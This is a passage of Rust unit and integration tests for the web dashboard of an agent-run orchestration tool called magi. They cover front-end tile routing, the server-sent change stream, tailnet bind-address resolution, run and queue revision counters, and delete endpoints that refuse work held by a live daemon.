11304        // the click into state.runsFilter.status (matchesFilter's own
11305        // status check) rather than the coarser runsStateFilter chips. Each
11306        // status literal here must be one of the strings runSection() (and
11307        // isStale()) actually compare a run's own `status` field against -
11308        // a status this dashboard invented would filter to nothing.
11309        assert!(
11310            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
11311            "every KPI tile built through statusTile() must route its click through \
11312             openRunsFiltered, the single place that sets the Runs filter"
11313        );
11314        for (label, status) in [
11315            ("Merged", "merged"),
11316            ("Ready", "ready"),
11317            ("Blocked", "blocked"),
11318            ("Stalled", "stalled"),
11319        ] {
11320            let call = format!("statusTile(\"{label}\", t.{status}, ");
11321            assert!(
11322                APP_JS.contains(&call),
11323                "expected the {label} KPI tile built via {call}..."
11324            );
11325            assert!(
11326                APP_JS.contains(&format!("status === \"{status}\"")),
11327                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
11328                 compare a run against, not one invented only for the stats tile"
11329            );
11330        }
11331        assert!(
11332            APP_JS.contains("function openRunsFiltered(status)"),
11333            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
11334        );
11335        assert!(
11336            APP_JS.contains("if (status && String(run.status || \"\") !== status) return false;"),
11337            "matchesFilter must gate on the exact status a KPI tile named"
11338        );
11339        // applyRoute() only flips which view is visible for a plain `#runs`
11340        // hash - it does not itself redraw the list (see applyRoute's own
11341        // handling below) - so openRunsFiltered must call renderRuns()
11342        // itself, and must call applyRoute() too so the view flips even
11343        // when the hash string doesn't change (the operator may already be
11344        // on the Runs view when a tile is tapped, which fires no
11345        // hashchange event at all).
11346        assert!(
11347            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
11348            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
11349             hashchange event that may never fire"
11350        );
11351    }
11352
11353    #[test]
11354    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
11355        // A stats tile can leave state.runsFilter.status set to something
11356        // done-by-construction (e.g. "merged") - picking "Active" afterward
11357        // must drop it the same way an incompatible tree section is already
11358        // dropped, or the Runs list renders permanently empty with no way
11359        // for the operator to tell why.
11360        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
11361        assert!(
11362            APP_JS.contains(
11363                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
11364            ),
11365            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
11366             guard for an incompatible tree section"
11367        );
11368    }
11369
11370    #[test]
11371    fn every_stats_queue_tile_names_a_real_queue_section() {
11372        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
11373        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
11374        // (consumeQueueSectionFocus finds no matching <details> and drops
11375        // the focus) rather than fail loudly, so pin every key against the
11376        // section list it has to resolve against.
11377        assert!(
11378            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
11379            "every queue tile built through sectionTile() must route its click through \
11380             openQueueSectionFocus"
11381        );
11382        for key in ["upnext", "running", "done", "held", "blocked"] {
11383            assert!(
11384                APP_JS.contains(&format!("{{ key: \"{key}\",")),
11385                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
11386            );
11387        }
11388        // Queued and Failed intentionally both resolve to "upnext" - the
11389        // same section queueSection() itself files them under - rather than
11390        // getting a section each.
11391        for line in [
11392            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
11393            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
11394            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
11395            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
11396            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
11397            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
11398        ] {
11399            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
11400        }
11401    }
11402
11403    #[test]
11404    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
11405        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
11406        // above for the section-focus channel a stats queue tile drives:
11407        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
11408        // through the stale-search-clear recursion into renderQueue(), and
11409        // clear it only once revealQueueSection() is actually about to run -
11410        // the same trap that once silently dropped a task-focus jump.
11411        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
11412        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
11413        assert!(APP_JS.contains("function revealQueueSection(details)"));
11414        assert!(
11415            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
11416            "renderQueue() must consume both focus channels on every pass"
11417        );
11418        assert!(
11419            APP_JS.contains(
11420                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
11421            ),
11422            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
11423             the recursive renderQueue() call has nothing left to reveal"
11424        );
11425        assert!(
11426            APP_JS.contains(
11427                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
11428            ),
11429            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
11430        );
11431        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
11432        // task-focus form of the hash - a plain `#queue` navigation only
11433        // flips which view is visible. openQueueSectionFocus() must
11434        // therefore call renderQueue() itself, and applyRoute() too so the
11435        // view flips even when the hash doesn't change (the Backlog may
11436        // already be open when a tile is tapped, firing no hashchange
11437        // event at all).
11438        assert!(
11439            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
11440            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
11441             hashchange event that may never fire"
11442        );
11443    }
11444
11445    #[tokio::test]
11446    async fn the_change_stream_announces_the_current_revisions_on_connect() {
11447        let f = Fixture::start().await;
11448
11449        let mut socket = tokio::net::TcpStream::connect(f.addr)
11450            .await
11451            .expect("connect");
11452        socket
11453            .write_all(
11454                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
11455            )
11456            .await
11457            .expect("write request");
11458
11459        // Read until the first event arrives rather than to end of stream: the
11460        // stream is endless by design, which is the point of the route.
11461        let mut seen = String::new();
11462        let mut buf = [0u8; 1024];
11463        while !seen.contains("event: change") {
11464            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
11465                .await
11466                .expect("the stream must speak within five seconds")
11467                .expect("read");
11468            assert!(read > 0, "the server closed the change stream: {seen}");
11469            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
11470        }
11471
11472        assert!(
11473            seen.to_lowercase()
11474                .contains("content-type: text/event-stream"),
11475            "the browser only reconnects automatically for a real SSE stream: {seen}"
11476        );
11477        let data = seen
11478            .lines()
11479            .find_map(|l| l.strip_prefix("data:"))
11480            .expect("a data line");
11481        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
11482        assert!(
11483            payload["queue_rev"].is_u64()
11484                && payload["runs_rev"].is_u64()
11485                && payload["questions_rev"].is_u64()
11486                && payload["talks_rev"].is_u64()
11487                && payload["notifications_rev"].is_u64()
11488                && payload["loop_rev"].is_u64(),
11489            "the client needs one revision per store to know what to refetch, \
11490             and `talks_rev` is the only notification a standing talk gets - a \
11491             phone whose radio slept through a turn learns about it here, as \
11492             does one whose operator started the loop from another device: \
11493             {payload}"
11494        );
11495
11496        // The front end re-polls health on a timer and on wake, and takes the
11497        // revisions from that answer whenever the stream is not up. So health
11498        // has to carry every key the stream carries: a phone on a link that
11499        // will not hold an SSE connection is exactly the phone that must still
11500        // notice a question, and a missing key there is not a 500 but a UI
11501        // that quietly stops updating.
11502        let health = f.get("/api/health").await.json();
11503        for key in [
11504            "queue_rev",
11505            "runs_rev",
11506            "questions_rev",
11507            "talks_rev",
11508            "notifications_rev",
11509            "loop_rev",
11510        ] {
11511            assert!(
11512                health[key].is_u64(),
11513                "health is the change stream's fallback and is missing `{key}`: {health}"
11514            );
11515        }
11516    }
11517
11518    #[tokio::test]
11519    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
11520        let f = Fixture::start().await;
11521        let before = f.get("/api/health").await.json()["talks_rev"]
11522            .as_u64()
11523            .expect("talks_rev");
11524
11525        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
11526        std::thread::sleep(Duration::from_millis(10));
11527        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
11528        on_disk.turns.push(crate::talk::Turn {
11529            who: crate::talk::Who::Operator,
11530            body: "a new turn".to_owned(),
11531            at: Timestamp::now(),
11532            attachments: Vec::new(),
11533            usage: None,
11534        });
11535        f.talks().put(&mut on_disk).expect("record a turn");
11536
11537        let after = f.get("/api/health").await.json()["talks_rev"]
11538            .as_u64()
11539            .expect("talks_rev");
11540        assert_ne!(
11541            before, after,
11542            "a phone must be able to notice a talk's reply without polling every store"
11543        );
11544    }
11545
11546    #[test]
11547    fn bind_reads_back_from_the_spelling_the_cli_prints() {
11548        // The CLI shows the default in `--help` and parses whatever comes
11549        // back, so the two directions have to agree or `--bind auto` breaks
11550        // the moment someone copies the help text.
11551        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
11552            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
11553        }
11554        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
11555        assert!("everywhere".parse::<Bind>().is_err());
11556    }
11557
11558    #[test]
11559    fn an_explicit_bind_address_is_taken_verbatim() {
11560        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
11561
11562        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
11563
11564        assert_eq!(addr, asked);
11565        assert!(
11566            warning.is_none(),
11567            "an operator who named an address gets no lecture"
11568        );
11569    }
11570
11571    #[test]
11572    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
11573        let (addr, warning) = resolve_bind(&Bind::Auto);
11574
11575        // This has to hold on a CI runner with no `tailscale` and on a dev box
11576        // with one, so the invariant asserted is the one shared by both
11577        // outcomes: the address is either a real tailnet address offered
11578        // without comment, or loopback with an explanation. What must never
11579        // happen is a silent fallback - an operator told "listening on
11580        // 127.0.0.1" with no reason would go looking for a firewall.
11581        match addr {
11582            IpAddr::V4(ip) if is_tailnet(&ip) => {
11583                assert!(warning.is_none(), "a tailnet address needs no warning");
11584            }
11585            other => {
11586                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
11587                let warning = warning.expect("a fallback has to explain itself");
11588                assert!(
11589                    warning.contains("127.0.0.1") && warning.contains("local-only"),
11590                    "the warning says what happened and what it costs: {warning}"
11591                );
11592            }
11593        }
11594    }
11595
11596    #[test]
11597    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
11598        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
11599        // boundary cases are what stop us binding to some other tool's idea of
11600        // an address.
11601        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
11602        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
11603        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
11604        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
11605        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
11606    }
11607
11608    #[test]
11609    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
11610        let ids = vec![
11611            "20260902-140501-aaaa".to_owned(),
11612            "20260902-140502-aabb".to_owned(),
11613        ];
11614
11615        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
11616        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
11617        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
11618
11619        assert_eq!(missing.status, StatusCode::NOT_FOUND);
11620        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
11621        assert_eq!(short, "20260902-140502-aabb");
11622    }
11623    #[tokio::test]
11624    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
11625        // The prompt tells agents to reference attachments by bare filename.
11626        // A document served at `.../panel` resolves `shot.png` against its own
11627        // directory, i.e. `.../shot.png`, which is not the asset route - so a
11628        // panel written exactly as instructed showed broken images. Caught by
11629        // looking at a real one in a browser, not by reading the code.
11630        let fx = Fixture::start().await;
11631        let id = panel(
11632            &fx,
11633            "<img src=\"shot.png\">",
11634            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
11635        );
11636
11637        // The frame's own URL ends in a filename, so its siblings are reachable.
11638        let doc = fx
11639            .get(&format!("/api/questions/{id}/panel/index.html"))
11640            .await;
11641        assert_eq!(doc.status, 200, "{}", doc.body);
11642        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
11643
11644        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
11645        assert_eq!(sibling.status, 200, "{}", sibling.body);
11646        assert_eq!(sibling.header("content-type"), Some("image/png"));
11647        assert_eq!(
11648            sibling.header("content-security-policy"),
11649            Some(PANEL_CSP),
11650            "the sibling route must carry the same policy as the asset route"
11651        );
11652
11653        // The original spelling keeps working: HEAD on it is how the front end
11654        // decides whether to mount a frame at all.
11655        assert_eq!(
11656            fx.head(&format!("/api/questions/{id}/panel")).await.status,
11657            200
11658        );
11659    }
11660
11661    #[test]
11662    fn runs_revision_moves_when_deleting_an_older_run() {
11663        let temp = TempDir::new().expect("tempdir");
11664        let runs = temp.path().join("runs");
11665        std::fs::create_dir_all(&runs).expect("create runs dir");
11666
11667        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
11668
11669        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
11670        std::thread::sleep(Duration::from_millis(10));
11671        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
11672
11673        let rev_before = runs_revision(&runs);
11674        assert!(rev_before > 0);
11675
11676        let old_dir = runs.join("20260901-100000-old1");
11677        std::fs::remove_dir_all(&old_dir).expect("remove old run");
11678
11679        let rev_after = runs_revision(&runs);
11680        assert_ne!(
11681            rev_before, rev_after,
11682            "deleting an older run must change the revision so other clients see the deletion"
11683        );
11684    }
11685
11686    /// A run's own `run.json` on an explicit `runs` root, bypassing the
11687    /// process-global home entirely — `RunState::save` writes through
11688    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
11689    /// (see `tests::home_lock` in the integration suite for why).
11690    fn write_state(runs: &FsPath, state: &RunState) {
11691        let dir = runs.join(&state.id);
11692        std::fs::create_dir_all(&dir).expect("run dir");
11693        std::fs::write(
11694            dir.join("run.json"),
11695            serde_json::to_string_pretty(state).expect("serialize run"),
11696        )
11697        .expect("write run.json");
11698    }
11699
11700    /// A seat starting or finishing is a write to `run.json` like any other,
11701    /// so it moves the same revision the change stream already watches —
11702    /// nothing new for `/api/events` to learn, but the property this feature
11703    /// depends on to reach the phone without a poll.
11704    #[test]
11705    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
11706        let temp = TempDir::new().expect("tempdir");
11707        let runs = temp.path().join("runs");
11708        std::fs::create_dir_all(&runs).expect("create runs dir");
11709        let mut state = RunState::new(
11710            PathBuf::from("/repo/magi"),
11711            "main".to_owned(),
11712            "0123456789abcdef".to_owned(),
11713            "task".to_owned(),
11714            Config::default(),
11715        );
11716        state.id = "20260902-100000-c0de".to_owned();
11717        write_state(&runs, &state);
11718
11719        let rev_idle = runs_revision(&runs);
11720        std::thread::sleep(Duration::from_millis(10));
11721        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
11722        write_state(&runs, &state);
11723        let rev_started = runs_revision(&runs);
11724        assert_ne!(
11725            rev_idle, rev_started,
11726            "a seat starting must move the revision"
11727        );
11728
11729        std::thread::sleep(Duration::from_millis(10));
11730        state.seat_finished("judge-1");
11731        write_state(&runs, &state);
11732        let rev_finished = runs_revision(&runs);
11733        assert_ne!(
11734            rev_started, rev_finished,
11735            "and clearing it again must move the revision a second time"
11736        );
11737    }
11738
11739    #[tokio::test]
11740    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
11741        // `TaskView` flattens `Task`, so this is really asserting that
11742        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
11743        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
11744        // never touched web.rs, so nothing here caught it if it had.
11745        let fx = Fixture::start().await;
11746        let q = fx.queue();
11747
11748        let mut t = Task::new(
11749            "Task".to_owned(),
11750            "Instruction".to_owned(),
11751            PathBuf::from("/repo"),
11752            Source::Human,
11753        );
11754        t.block(
11755            vec!["20260101-000000-dead".to_owned()],
11756            Some("waiting on Task 1".to_owned()),
11757        );
11758        t.answers.push(crate::queue::AnsweredQuestion {
11759            question: "Which backend?".to_owned(),
11760            answer: "SQLite".to_owned(),
11761        });
11762        q.put(&mut t).expect("put t");
11763
11764        let res = fx.get("/api/queue").await;
11765        assert_eq!(res.status, 200);
11766        let list = res.json();
11767        let view = list
11768            .as_array()
11769            .expect("array")
11770            .iter()
11771            .find(|v| v["id"] == t.id)
11772            .expect("task in list");
11773        assert_eq!(view["status_str"], "blocked");
11774        assert_eq!(
11775            view["blocked_by"],
11776            serde_json::json!(["20260101-000000-dead"])
11777        );
11778        assert_eq!(view["block_reason"], "waiting on Task 1");
11779        assert_eq!(view["answers"][0]["question"], "Which backend?");
11780        assert_eq!(view["answers"][0]["answer"], "SQLite");
11781
11782        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
11783        // but never `answers` - that is a settled decision, not state
11784        // describing the current block, so it survives.
11785        let res = fx
11786            .post(&format!("/api/queue/{}/hold", t.short()), None)
11787            .await;
11788        assert_eq!(res.status, 200);
11789        let held = res.json();
11790        assert_eq!(held["status_str"], "held");
11791        assert_eq!(held["blocked_by"], serde_json::json!([]));
11792        assert!(held["block_reason"].is_null());
11793        assert_eq!(held["answers"][0]["answer"], "SQLite");
11794    }
11795
11796    #[tokio::test]
11797    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
11798        let fx = Fixture::start().await;
11799        let q = fx.queue();
11800        let mk = |title: &str| {
11801            Task::new(
11802                title.to_owned(),
11803                "Instruction".to_owned(),
11804                PathBuf::from("/repo"),
11805                Source::Human,
11806            )
11807        };
11808        let mut root = mk("root");
11809        root.hold_manual(Some("waiting".to_owned()));
11810        q.put(&mut root).unwrap();
11811        let mut mid = mk("mid");
11812        mid.block(vec![root.id.clone()], None);
11813        q.put(&mut mid).unwrap();
11814        let mut leaf = mk("leaf");
11815        leaf.block(vec![mid.id.clone()], None);
11816        q.put(&mut leaf).unwrap();
11817
11818        let list = fx.get("/api/queue").await.json();
11819        let find = |id: &str| {
11820            list.as_array()
11821                .unwrap()
11822                .iter()
11823                .find(|v| v["id"] == id)
11824                .unwrap()
11825                .clone()
11826        };
11827        let leaf_view = find(&leaf.id);
11828        assert_eq!(
11829            leaf_view["waits_on"],
11830            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
11831        );
11832        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
11833        assert_eq!(
11834            find(&mid.id)["waits_on"],
11835            serde_json::json!([format!("{} (held)", root.short())])
11836        );
11837        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
11838    }
11839
11840    #[tokio::test]
11841    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
11842        let fx = Fixture::start().await;
11843        let q = fx.queue();
11844
11845        // 1. A queued task with runs attached can be deleted.
11846        let mut t1 = Task::new(
11847            "Task 1".to_owned(),
11848            "Instruction 1".to_owned(),
11849            PathBuf::from("/repo"),
11850            Source::Human,
11851        );
11852        let run_id = "20260901-000000-r111";
11853        t1.runs.push(run_id.to_owned());
11854        write_run(&fx.runs(), run_id, RunStatus::Merged);
11855        q.put(&mut t1).expect("put t1");
11856
11857        // Delete by short id
11858        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
11859        assert_eq!(res.status, 204);
11860        assert!(res.body.is_empty(), "204 No Content has no body");
11861        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
11862        assert!(
11863            fx.runs().join(run_id).exists(),
11864            "run directory must not be deleted when its task is deleted"
11865        );
11866
11867        // 2. A task a live daemon is running is refused with 409.
11868        let mut t2 = Task::new(
11869            "Task 2".to_owned(),
11870            "Instruction 2".to_owned(),
11871            PathBuf::from("/repo"),
11872            Source::Human,
11873        );
11874        t2.status = TaskStatus::Running;
11875        q.put(&mut t2).expect("put t2");
11876        let mut beat = crate::daemon::Status::new();
11877        beat.current = vec![crate::daemon::Current {
11878            task: t2.id.clone(),
11879            run: "20260901-000000-r222".to_owned(),
11880        }];
11881        beat.updated_at = jiff::Timestamp::now();
11882        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
11883            .expect("publish a heartbeat");
11884        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
11885        assert_eq!(res.status, 409);
11886        assert!(
11887            res.json()["error"]
11888                .as_str()
11889                .unwrap()
11890                .contains("live daemon")
11891        );
11892        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
11893
11894        // 3. The same `running` status and an orphaned lock, with no daemon
11895        // behind either, is a leftover and deletable. Before this the phone
11896        // refused it for good: the status never changes on its own and
11897        // nothing drops a lock whose process is gone.
11898        // The daemon is killed: the file stays, the heartbeat stops.
11899        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
11900        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
11901            .expect("leave a stale heartbeat");
11902        let mut t3 = Task::new(
11903            "Task 3".to_owned(),
11904            "Instruction 3".to_owned(),
11905            PathBuf::from("/repo"),
11906            Source::Human,
11907        );
11908        t3.status = TaskStatus::Running;
11909        q.put(&mut t3).expect("put t3");
11910        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
11911        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
11912        assert_eq!(res.status, 204);
11913        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
11914        assert!(
11915            q.claim(&t3.id).is_ok(),
11916            "the stale lock went with it, so the id is claimable again"
11917        );
11918
11919        // 4. Missing id returns 404
11920        let res = fx.delete("/api/queue/nonexistent").await;
11921        assert_eq!(res.status, 404);
11922    }
11923
11924    #[tokio::test]
11925    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
11926        let fx = Fixture::start().await;
11927        let runs = fx.runs();
11928
11929        // 1. Finished and folded run can be deleted along with artifacts
11930        let run_id = "20260901-000000-fold";
11931        let mut state = RunState::new(
11932            PathBuf::from("/repo"),
11933            "main".to_owned(),
11934            "abc".to_owned(),
11935            "instruction".to_owned(),
11936            Config::default(),
11937        );
11938        state.id = run_id.to_owned();
11939        state.status = RunStatus::Merged;
11940        state.candidates.push(crate::run::Candidate {
11941            index: 0,
11942            label: 'A',
11943            agent: "a".to_owned(),
11944            branch: "b".to_owned(),
11945            worktree: PathBuf::from("/w"),
11946            summary: String::new(),
11947            stat: String::new(),
11948            files: 1,
11949            commits: 1,
11950            empty: false,
11951            failed: None,
11952            verified_noop: None,
11953            duration_ms: 0,
11954            folded: true,
11955        });
11956        let dir = runs.join(run_id);
11957        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
11958        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
11959            .expect("write artifact");
11960        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
11961            .expect("write run.json");
11962
11963        // Delete by short id
11964        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
11965        assert_eq!(res.status, 204);
11966        assert!(res.body.is_empty(), "204 has no body");
11967        assert!(!dir.exists(), "run directory and artifacts must be deleted");
11968
11969        // 2. A run a live daemon is working on is refused with 409. The
11970        // heartbeat is what makes it refusable: an unfinished run with no
11971        // daemon behind it is a leftover from a killed process, and case 1
11972        // above would otherwise be impossible to tell apart from this one.
11973        let run_running = "20260901-000000-rung";
11974        write_run(&runs, run_running, RunStatus::Prep);
11975        let mut beat = crate::daemon::Status::new();
11976        beat.current = vec![crate::daemon::Current {
11977            task: "20260901-000000-task".to_owned(),
11978            run: run_running.to_owned(),
11979        }];
11980        beat.updated_at = jiff::Timestamp::now();
11981        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
11982            .expect("publish a heartbeat");
11983        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
11984        assert_eq!(res.status, 409);
11985        assert!(
11986            res.json()["error"]
11987                .as_str()
11988                .unwrap()
11989                .contains("live daemon"),
11990            "the refusal must say who is holding it"
11991        );
11992        assert!(
11993            runs.join(run_running).exists(),
11994            "a run in flight keeps its directory"
11995        );
11996
11997        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
11998        let run_unfolded = "20260901-000000-unfd";
11999        let mut state2 = RunState::new(
12000            PathBuf::from("/repo"),
12001            "main".to_owned(),
12002            "abc".to_owned(),
12003            "instruction".to_owned(),
12004            Config::default(),
12005        );
12006        state2.id = run_unfolded.to_owned();
12007        state2.status = RunStatus::Ready;
12008        state2.candidates.push(crate::run::Candidate {
12009            index: 0,
12010            label: 'A',
12011            agent: "a".to_owned(),
12012            branch: "b".to_owned(),
12013            worktree: PathBuf::from("/w"),
12014            summary: String::new(),
12015            stat: String::new(),
12016            files: 1,
12017            commits: 1,
12018            empty: false,
12019            failed: None,
12020            verified_noop: None,
12021            duration_ms: 0,
12022            folded: false,
12023        });
12024        let dir2 = runs.join(run_unfolded);
12025        std::fs::create_dir_all(&dir2).expect("create dir2");
12026        std::fs::write(
12027            dir2.join("run.json"),
12028            serde_json::to_string(&state2).unwrap(),
12029        )
12030        .expect("write run.json");
12031
12032        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
12033        assert_eq!(res.status, 409);
12034        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
12035        assert!(dir2.exists(), "unfolded run directory is kept");
12036
12037        // 4. Missing id returns 404
12038        let res = fx.delete("/api/runs/nonexistent").await;
12039        assert_eq!(res.status, 404);
12040    }
12041
12042    /// The queue tiles on the Stats tab must render even on a home with no
12043    /// runs at all: queue state is not derived from run history, so hiding
12044    /// the whole dashboard body behind "no runs yet" would drop the one
12045    /// thing this tab promises unconditionally (queued/running/held/done).
12046    /// A DOM-level test would need a browser this suite does not have, so
12047    /// this pins the same invariant textually: `renderStatsQueue` is called
12048    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
12049    /// block that gates the run-derived panels.
12050    #[test]
12051    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
12052        let start = APP_JS
12053            .find("function renderStats() {")
12054            .expect("renderStats");
12055        let end = start
12056            + APP_JS[start..]
12057                .find("function statsTile(")
12058                .expect("the next top-level function");
12059        let body = &APP_JS[start..end];
12060
12061        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
12062        let gate_end = gate_start
12063            + body[gate_start..]
12064                .find("}\n  renderStatsQueue")
12065                .expect("the gate's own closing brace, right before the unconditional call");
12066        let gated = &body[gate_start..gate_end];
12067
12068        assert_eq!(
12069            body.matches("renderStatsQueue(").count(),
12070            1,
12071            "renderStats must call renderStatsQueue exactly once: {body}"
12072        );
12073        assert!(
12074            !gated.contains("renderStatsQueue"),
12075            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
12076             run-derived panels on an empty run history - the queue panel has to render \
12077             regardless: {gated}"
12078        );
12079    }
12080
12081    #[test]
12082    fn web_ui_delete_contract_in_front_end() {
12083        // 1. API block has both delete endpoints
12084        assert!(APP_JS.contains("deleteRun:"));
12085        assert!(APP_JS.contains("deleteTask:"));
12086
12087        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
12088        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
12089            ..APP_JS.find("function renderRuns").unwrap()];
12090        assert!(!run_cards_slice.to_lowercase().contains("delete"));
12091
12092        // 3. Run detail has delete entry and reasons
12093        assert!(APP_JS.contains("renderRunDelete"));
12094        assert!(APP_JS.contains("runDeleteReason"));
12095        assert!(APP_JS.contains("magi fold"));
12096        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
12097
12098        // 4. Two-step delete arming and focus on Cancel
12099        assert!(APP_JS.contains("cancel.focus"));
12100        assert!(APP_JS.contains("armedRunDelete"));
12101        assert!(APP_JS.contains("renderTaskDeleteBox"));
12102        assert!(APP_JS.contains("armed${cap(key)}"));
12103
12104        // 5. Running task has disabled delete
12105        assert!(APP_JS.contains("disabled: status === \"running\""));
12106    }
12107
12108    /// Every element a run card's updater reaches for must be in the `refs`
12109    /// the builder handed it.
12110    ///
12111    /// `createRunCard` builds its elements, appends them to the card, and then
12112    /// lists them again in `row.refs`. That second list is the one the updater
12113    /// uses, and nothing connects the two - an element can be built, appended
12114    /// and rendered, and still be missing from `refs`. `superseded` was, for
12115    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
12116    /// exception took `syncList` with it, and the deck showed
12117    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
12118    /// line is computed before the cards, which is why the failure looked like
12119    /// a server that had lost its runs rather than a front end that had
12120    /// stopped rendering them.
12121    ///
12122    /// A `cargo test` cannot execute the front end, so this reads the two
12123    /// halves out of the source and compares them as sets. It is not a check
12124    /// on the wording of either list: adding an element, renaming one, or
12125    /// reordering them all keeps this passing, and only using one the builder
12126    /// never published fails it.
12127    #[test]
12128    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
